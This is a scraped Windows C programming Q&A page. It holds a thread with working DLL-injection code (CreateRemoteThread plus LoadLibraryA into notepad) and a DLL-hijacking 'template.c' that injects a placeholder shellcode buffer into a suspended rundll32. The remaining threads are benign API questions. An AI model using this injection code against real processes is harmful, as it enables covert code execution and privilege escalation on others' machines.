I am trying to inject a dll I've made into note pad.
I've written the following code where I open a process of notepad and inject it with my dll.
Yet, for some reason, my virtualalloc fails.
Would really appreciate some help on the matter.
Code:
#include <Windows.h>
#include <stdio.h>
int main()
{
char dllPath[125];
DWORD pathLen = GetFullPathNameA("MagshimimFinalProject.dll" ,160 , dllPath, NULL);
PVOID addrLoadLibrary = (PVOID)GetProcAddress(GetModuleHandle("notepad.exe"), "LoadLibraryA"); // maybee we need text instead of the dllpath
HANDLE proc = OpenProcess("PROCESS_CREATE_PROCESS",FALSE, "6340");
PVOID memAddr = (PVOID)VirtualAllocEx(proc, NULL,pathLen,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (NULL == memAddr)
{
printf("Couldn't allocate memory");
DWORD err = GetLastError();
return 0;
}
HANDLE hRemote = CreateRemoteThread(proc,NULL,0,memAddr, NULL,0,NULL );
if (NULL == hRemote)
{
printf("Couldn't create thread");
DWORD err = GetLastError();
return 0;
}
WaitForSingleObject(hRemote, INFINITE);
BOOL check = CloseHandle(hRemote);
return 0;
}
I've tried looking up all of the functions and making sure they are all getting the right variables, and looking up tutorials on the matter on youtube, but to no avail.
Edit - as the first comment suggested, I've used the debugger to look at each and every line, and when I checked addrLoadLibrary its value was: "identifier "addrLoadLibrary" is undefined" for some reason. any clue why that is?
Edit 2 - firstly, I was checking its value after the line has been completed (value of addrloadlibrary). Secondly, as someone has mentioned, proc is actually the problem for some reason, as its always NULL. Still trying to figure out why is it not working
edit 3 - fixed the problem with proc by removing the quotation marks like some guy in the comments was telling me (sorry for not remembering name, I'm very bad at that.) Now all thats left to figure out is why is addrLoadLibrary undefined even after line
edit 4 - re-read the documentation of the function "getModuleHandle" and relized it should get the dllpath variable. hopefully im not wrong because im not a native english speaker and documentations are especially tough for me to understand.
There are tons of things wrong with this code. Most of the API calls are just plain incorrect. You are not doing very much error checking. You are not copying the DLL path into the memory you allocate before creating the remote thread.
Try something more like this instead:
#include <Windows.h>
#include <stdio.h>
int main() {
char dllPath[MAX_PATH];
DWORD pathLen = GetFullPathNameA("MagshimimFinalProject.dll", MAX_PATH, dllPath, NULL);
if (!pathLen) {
DWORD err = GetLastError();
printf("Couldn't get DLL path. Error: %u", err);
return 0;
}
PVOID addrLoadLibrary = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
// TODO: use CreateToolhelp32Snapshot() or EnumProcesses() to find the correct process ID...
DWORD procID = 6340;
HANDLE proc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, procID);
if (!proc) {
DWORD err = GetLastError();
printf("Couldn't open process. Error: %u", err);
return 0;
}
PVOID memAddr = VirtualAllocEx(proc, NULL, pathLen+1, MEM_COMMIT, PAGE_READWRITE);
if (!memAddr) {
DWORD err = GetLastError();
CloseHandle(proc);
printf("Couldn't allocate memory. Error: %u", err);
return 0;
}
if (!WriteProcessMemory(proc, memAddr, dllPath, pathLen+1, NULL)) {
DWORD err = GetLastError();
VirtualFreeEx(proc, memAddr, 0, MEM_RELEASE);
CloseHandle(proc);
printf("Couldn't write to memory. Error: %u", err);
return 0;
}
HANDLE hRemote = CreateRemoteThread(proc, NULL, 0, addrLoadLibrary, memAddr, 0, NULL);
if (!hRemote) {
DWORD err = GetLastError();
VirtualFreeEx(proc, memAddr, 0, MEM_RELEASE);
CloseHandle(proc);
printf("Couldn't create thread. Error: %u", err);
return 0;
}
WaitForSingleObject(hRemote, INFINITE);
CloseHandle(hRemote);
VirtualFreeEx(proc, memAddr, 0, MEM_RELEASE);
CloseHandle(proc);
return 0;
}
Related
I'm working on a packet capture software on Windows which supports to capture raw 802.11 packets on monitor mode. One thing I need to do is to get the supported 802.11 operation modes for a WLAN adapter.
I know how to do this in a kernel mode: just query the OID OID_DOT11_OPERATION_MODE_CAPABILITY in a kernel driver.
However, I also want to know how to do this in user mode (a DLL). I already know that Microsoft has provided the Native Wifi API. I can use the functions like WlanQueryInterface, WlanSetInterface to get/set the current operation mode (the code below shows it). But it doesn't provide a function to get the operation modes supported by the adapter.
Is there any way to solve this without relying on the kernel code? Thanks!
DWORD SetInterface(WLAN_INTF_OPCODE opcode, PVOID pData, GUID* InterfaceGuid)
{
TRACE_ENTER();
DWORD dwResult = 0;
HANDLE hClient = NULL;
DWORD dwCurVersion = 0;
if (!initWlanFunctions())
{
TRACE_PRINT("SetInterface failed, initWlanFunctions error");
TRACE_EXIT();
return ERROR_INVALID_FUNCTION;
}
// Open Handle for the set operation
dwResult = My_WlanOpenHandle(WLAN_CLIENT_VERSION_VISTA, NULL, &dwCurVersion, &hClient);
if (dwResult != ERROR_SUCCESS)
{
TRACE_PRINT1("SetInterface failed, My_WlanOpenHandle error, errCode = %x", dwResult);
TRACE_EXIT();
return dwResult;
}
dwResult = My_WlanSetInterface(hClient, InterfaceGuid, opcode, sizeof(ULONG), pData, NULL);
if (dwResult != ERROR_SUCCESS)
{
TRACE_PRINT1("SetInterface failed, My_WlanSetInterface error, errCode = %x", dwResult);
}
My_WlanCloseHandle(hClient, NULL);
TRACE_EXIT();
return dwResult;
}
DWORD GetInterface(WLAN_INTF_OPCODE opcode, PVOID* ppData, GUID* InterfaceGuid)
{
TRACE_ENTER();
DWORD dwResult = 0;
HANDLE hClient = NULL;
DWORD dwCurVersion = 0;
DWORD outsize = 0;
WLAN_OPCODE_VALUE_TYPE opCode = wlan_opcode_value_type_invalid;
if (!initWlanFunctions())
{
TRACE_PRINT("SetInterface failed, initWlanFunctions error");
TRACE_EXIT();
return ERROR_INVALID_FUNCTION;
}
// Open Handle for the set operation
dwResult = My_WlanOpenHandle(WLAN_CLIENT_VERSION_VISTA, NULL, &dwCurVersion, &hClient);
if (dwResult != ERROR_SUCCESS)
{
TRACE_PRINT1("GetInterface failed, My_WlanOpenHandle error, errCode = %x", dwResult);
TRACE_EXIT();
return dwResult;
}
dwResult = My_WlanQueryInterface(hClient, InterfaceGuid, opcode, NULL, &outsize, ppData, &opCode);
if (dwResult != ERROR_SUCCESS)
{
TRACE_PRINT1("GetInterface failed, My_WlanQueryInterface error, errCode = %x", dwResult);
}
My_WlanCloseHandle(hClient, NULL);
TRACE_EXIT();
return dwResult;
}
I'm learning about DLL Hijacking, going step by step this video made by Vivek - Privilege Escalation using DLL Hijacking
Everything is very well explained, but there is one passage that is getting me in trouble. It's about compiling "template.c" with mingw32 on Kali Linux. When I'm doing the same thing as is described in video, means:
root#kali:~# i686-w64-mingw32-gcc-win32 template.c -o template.dll
-shared
I'm still getting this error:
/tmp/ccRJy0bd.o:template.c:(.text+0x49): undefined reference to
`inline_bzero' collect2: error: ld returned 1 exit status
Here is source code of "template.c"
#include <windows.h>
#include "template.h"
#if BUILDMODE == 2
/* hand-rolled bzero allows us to avoid including ms vc runtime */
void inline_bzero(void *p, size_t l)
{
BYTE *q = (BYTE *)p;
size_t x = 0;
for (x = 0; x < l; x++)
*(q++) = 0x00;
}
#endif
void ExecutePayload(void);
BOOL WINAPI
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
{
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
ExecutePayload();
break;
case DLL_PROCESS_DETACH:
// Code to run when the DLL is freed
break;
case DLL_THREAD_ATTACH:
// Code to run when a thread is created during the DLL's lifetime
break;
case DLL_THREAD_DETACH:
// Code to run when a thread ends normally.
break;
}
return TRUE;
}
void ExecutePayload(void) {
int error;
PROCESS_INFORMATION pi;
STARTUPINFO si;
CONTEXT ctx;
DWORD prot;
LPVOID ep;
// Start up the payload in a new process
inline_bzero( &si, sizeof( si ));
si.cb = sizeof(si);
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
if(CreateProcess( 0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
GetThreadContext(pi.hThread, &ctx);
ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
#ifdef _WIN64
ctx.Rip = (DWORD64)ep;
#else
ctx.Eip = (DWORD)ep;
#endif
SetThreadContext(pi.hThread,&ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
// ExitProcess(0);
ExitThread(0);
}
/*
typedef VOID
(NTAPI *PIMAGE_TLS_CALLBACK) (
PVOID DllHandle,
ULONG Reason,
PVOID Reserved
);
VOID NTAPI TlsCallback(
IN PVOID DllHandle,
IN ULONG Reason,
IN PVOID Reserved)
{
__asm ( "int3" );
}
ULONG _tls_index;
PIMAGE_TLS_CALLBACK _tls_cb[] = { TlsCallback, NULL };
IMAGE_TLS_DIRECTORY _tls_used = { 0, 0, (ULONG)&_tls_index, (ULONG)_tls_cb, 1000, 0 };
*/
And "template.h", if needed.
#define SCSIZE 2048
unsigned char code[SCSIZE] = "PAYLOAD:";
Solved.
Just remove "#if BUILDMODE == 2" and "#endif" lines, then compilation is successfully done.
Just remove #if BUILDMODE == 2 and #endif lines, then compilation is successfully done.
I want to get Drive Letter and Name.
I used "DeviceIoControl" and "IOCTL_DISK_GET_DRIVE_LAYOUT_EX" for this reason. I am using Microsoft Visual C++ ultimate Edition.
#define wszDrive L"\\\\.\\PhysicalDrive0"
BOOL GetDriveParition(LPWSTR wszPath, DRIVE_LAYOUT_INFORMATION_EX *pdg)
{
HANDLE hDevice = INVALID_HANDLE_VALUE; // handle to the drive to be examined
BOOL bResult = FALSE; // results flag
DWORD junk = 0; // discard results
hDevice = CreateFileW(wszPath, // drive to open
0, // no access to the drive
FILE_SHARE_READ | // share mode
FILE_SHARE_WRITE,
NULL, // default security attributes
OPEN_EXISTING, // disposition
0, // file attributes
NULL); // do not copy file attributes
if (hDevice == INVALID_HANDLE_VALUE) // cannot open the drive
{
return (FALSE);
}
bResult = DeviceIoControl(hDevice, // device to be queried
IOCTL_DISK_GET_DRIVE_LAYOUT_EX, // operation to perform
NULL,
0, // no input buffer
pdg,
sizeof(*pdg), // output buffer
&junk, // # bytes returned
NULL); // synchronous I/O
CloseHandle(hDevice);
return (bResult);
}
int wmain(int argc, wchar_t *argv[])
{
DRIVE_LAYOUT_INFORMATION_EX pdg; // disk drive partition structure
BOOL bResult = FALSE; // generic results flag
bResult = GetDriveParition (wszDrive, &pdg);
if (bResult)
{
wprintf(L"Drive path = %ws\n", wszDrive);
wprintf(L"Partition Style = %I64d\n", pdg.PartitionStyle);
wprintf(L"Partition Count = %ld\n", pdg.PartitionCount);
}
else
{
wprintf (L"GetDrivePartition failed. Error %ld.\n", GetLastError ());
}
getch();
}
but when I was performing I confronted to an error which was "error 122".
I think that you meant to say error code 122 rather than 22. That error is ERROR_INSUFFICIENT_BUFFER. As documented, you will need to allocate a larger buffer and try again.
The point here is that the struct is a variable sized struct. You need to allocate dynamic memory large enough to hold information for all the partitions.
Something like this should get you going in the right direction:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#define wszDrive L"\\\\.\\PhysicalDrive0"
BOOL GetDriveParition(LPWSTR wszPath, DRIVE_LAYOUT_INFORMATION_EX *pdg, size_t size)
{
HANDLE hDevice = INVALID_HANDLE_VALUE; // handle to the drive to be examined
BOOL bResult = FALSE; // results flag
DWORD junk = 0; // discard results
hDevice = CreateFileW(wszPath, // drive to open
0, // no access to the drive
FILE_SHARE_READ | // share mode
FILE_SHARE_WRITE,
NULL, // default security attributes
OPEN_EXISTING, // disposition
0, // file attributes
NULL); // do not copy file attributes
if (hDevice == INVALID_HANDLE_VALUE) // cannot open the drive
{
return (FALSE);
}
bResult = DeviceIoControl(hDevice, // device to be queried
IOCTL_DISK_GET_DRIVE_LAYOUT_EX, // operation to perform
NULL,
0, // no input buffer
pdg,
size, // output buffer
&junk, // # bytes returned
NULL); // synchronous I/O
CloseHandle(hDevice);
return (bResult);
}
int wmain(int argc, wchar_t *argv[])
{
DRIVE_LAYOUT_INFORMATION_EX* pdg; // disk drive partition structure
BOOL bResult = FALSE; // generic results flag
size_t size = sizeof(DRIVE_LAYOUT_INFORMATION_EX) + 10*sizeof(PARTITION_INFORMATION_EX);
pdg = (DRIVE_LAYOUT_INFORMATION_EX*) malloc(size);
bResult = GetDriveParition (wszDrive, pdg, size);
if (bResult)
{
wprintf(L"Drive path = %ws\n", wszDrive);
wprintf(L"Partition Style = %I64d\n", pdg->PartitionStyle);
wprintf(L"Partition Count = %ld\n", pdg->PartitionCount);
}
else
{
wprintf (L"GetDrivePartition failed. Error %ld.\n", GetLastError ());
}
free(pdg);
}
I've cast the return value of malloc since you state that you are using a C++ compiler.
I have an application that needs to monitor the primary drive for file changes via ReadDirectoryChangesW. However, when UAC is enabled, it doesn't work.
All of the Windows API calls succeed, but I'm not notified of any changes.
I can work around this by individually monitoring each directory in the root, but this is a problem, because it can potentially cause a blue screen if there are too many directories.
Is there an acceptable way to get around UAC and receive file change notifications on the entire primary drive?
The relevant CreateFile and ReadDirectoryChangesW is below. In the case where it doesn't work, directory is C:\. If I monitor any secondary drive (i.e. E:\, F:\, G:\) it works as expected. None of the calls return errors.
HANDLE fileHandle = CreateFileW(directory.c_str(), FILE_LIST_DIRECTORY,
FILE_SHARE_READ | FILE_SHARE_DELETE, NULL, OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED, NULL);
BOOL success = ReadDirectoryChangesW(fileHandle, watched.buffer.data(),
watched.buffer.size(), TRUE,
FILE_NOTIFY_CHANGE_FILE_NAME | FILE_NOTIFY_CHANGE_LAST_WRITE,
NULL, &watched.overlapped, NULL);
Interestingly, the .NET System.IO.FileSystemWatcher does work correctly, and it uses the exact same functions and parameters as I'm using, but it behaves correctly.
First it is best for applications that use the ReadDirectoryChangesW API to run elevated make a manifest file for you app and set requireAdministrator as the requestedExecutionLevel level. Check here for reference.
Try removing FILE_SHARE_WRITE from the CreateFile call if you are using it.
Another option is to make your program run as a service, im not sure how applicable this is to your needs. You could post some code as to how you are getting the file handle and what are you passing to ReadDirectoryChangesW
Here's some working test code, for future reference.
#include <Windows.h>
#include <stdio.h>
int main(int argc, char ** argv)
{
HANDLE filehandle;
BYTE buffer[65536];
DWORD dw;
FILE_NOTIFY_INFORMATION * fni;
OVERLAPPED overlapped = {0};
overlapped.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
if (overlapped.hEvent == NULL)
{
printf("CreateEvent: %u\n", GetLastError());
return 1;
}
filehandle = CreateFile(L"C:\\",
FILE_LIST_DIRECTORY,
FILE_SHARE_READ | FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED,
NULL);
if (filehandle == INVALID_HANDLE_VALUE)
{
printf("CreateFile: %u\n", GetLastError());
return 1;
}
for (;;)
{
if (!ReadDirectoryChangesW(filehandle, buffer, sizeof(buffer),
TRUE,
FILE_NOTIFY_CHANGE_FILE_NAME | FILE_NOTIFY_CHANGE_LAST_WRITE,
NULL, &overlapped, NULL))
{
printf("ReadDirectoryChangesW: %u\n", GetLastError());
return 1;
}
printf("Queued OK.\n");
if (!GetOverlappedResult(filehandle, &overlapped, &dw, TRUE))
{
printf("GetOverlappedResult: %u\n", GetLastError());
return 1;
}
printf("%u bytes read.\n", dw);
fni = (FILE_NOTIFY_INFORMATION *)buffer;
for (;;)
{
printf("Next entry offset = %u\n", fni->NextEntryOffset);
printf("Action = %u\n", fni->Action);
printf("File name = %.*ws\n",
fni->FileNameLength / 2,
fni->FileName);
if (fni->NextEntryOffset == 0) break;
fni = (FILE_NOTIFY_INFORMATION *)
(((BYTE *)fni) + fni->NextEntryOffset);
}
}
printf("All done\n");
return 0;
}
You can adjust the privileges of your process yourself like this:
// enable the required privileges for this process
LPCTSTR arPrivelegeNames[] = { SE_BACKUP_NAME,
SE_RESTORE_NAME,
SE_CHANGE_NOTIFY_NAME
};
for (int i=0; i<(sizeof(arPrivelegeNames)/sizeof(LPCTSTR)); ++i)
{
CAutoGeneralHandle hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, hToken.GetPointer()))
{
TOKEN_PRIVILEGES tp = { 1 };
if (LookupPrivilegeValue(NULL, arPrivelegeNames[i], &tp.Privileges[0].Luid))
{
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
}
}
}
This works also for non-privileged processes (a.k.a. normal user processes).
int rename_file()
{
WIN32_FIND_DATA FindFileData;
HANDLE hFind;
hFind = FindFirstFile(L"\\Hard Disk\\*.*", &FindFileData);
LPTSTR oldfilename;
LPTSTR newfilename;
if (hFind == INVALID_HANDLE_VALUE)
{
printf ("FindFirstFile failed (%d)\n", GetLastError());
return 0;
}
else
{
int i=1000;
while (FindNextFile(hFind, &FindFileData) != 0)
{
_tprintf (TEXT("The first file found is %s\n"),FindFileData.cFileName);
oldfilename =FindFileData.cFileName;
StringCchPrintf(newfilename, 30, TEXT("%s\\newfile_%d.txt"),dirname, i);
BOOL rs = MoveFile(oldfilename,newfilename);
i++;
}
FindClose(hFind);
return 1;
}
}
i am unable to rename file ,i am working on wince 6 ,while debugging at StringCchPrintf iam getting exception in coredll.dll can any one help me ....
You have not allocated any buffer for newFileName, so when you use it in the StringCchPrintf it's just an uninitialized pointer.
Try this:
TCHAR newFile[260]; // or whatever length you wish
LPTSTR newfilename = &newFile[0];
Also you should check the return code from MoveFile, and output something sensible on error. Make a habit of doing this for all your function calls that can return an error.